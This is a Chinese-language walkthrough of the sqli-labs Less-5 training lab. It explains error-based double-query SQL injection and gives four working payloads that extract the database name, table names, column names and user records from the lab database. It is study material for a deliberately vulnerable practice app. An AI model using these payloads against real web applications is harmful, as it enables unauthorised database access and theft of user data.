sqli-labs-master-Less-5 基于聚合分组函数报错的双注入(盲注手注)还有一种基于溢出的报错双注入要整理

先从老套路开始——

?id=1无报错,?id=1' 发现有报错!根据返回的语法错误可以判断是字符型

再然后可以判断出列数:?id=1' order by 3%23

然后按照套路,下一步应该是联合查询,可惜没有回显,这条路到这儿已经走到头了。

但是!但是!我们可以看看我们还有什么:1、语法错误仍然会显示出来2、You are in...的存在与否仍然可以帮助我们判断查询是否有正确

基于以上两点,就有了两种注入方式:

1、双注入(只要能回显语法错误,这种方式仍可使用,这种方式也是作者想考察的注入方式)

2、基于错误的盲注(根据You are in...的有无我们可以进行字符猜解,这需要python脚本)

方式一:双注入

原理这样大佬已经讲得非常清楚了:https://www.2cto.com/article/201303/192718.html

我只说重要的几点:

1、整条语句的构造,都是基于一个基本原理:聚合函数(count)和分组函数(group)在一起会报错!阅读时牢牢把握住这根主脉络即可。

2、整个语句,能否报错成功,是有概率的,得多试几次

3、构造payload时要注意:根据order by 3%23查出来列数为3,要注意匹配

但有个问题我一直没想明白——为什么是有概率,有办法提高概率?

基于聚合分组函数的双注入

下面是payload:

1、爆库名:

?id=1' union select 1,count(*),concat((select database()),floor(rand()*2)) as a from information_schema.columns group by a%23

2、爆表名:

?id=1' union select 1,count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 3,1),floor(rand()*2)) as a from information_schema.columns group by a%23

将从limit 0,1依次变到limit 3,1即可爆出所有的表

3、爆列名:

?id=1' union select 1,count(*),concat((select column_name from information_schema.columns where table_schema='security'  and table_name='users' limit 0,1),floor(rand()*2)) as a from information_schema.columns group by a%23

4、爆内容:
?id=1' union select 1,count(*),concat((select username from security.users limit 0,1),floor(rand()*2)) as a from information_schema.tables group by a%23

在此特别鸣谢:

http://120.79.189.7/?p=83

https://blog.csdn.net/u012763794/article/details/51207833

https://www.2cto.com/article/201303/192718.html

https://hellohxk.com/blog/sqli-labs/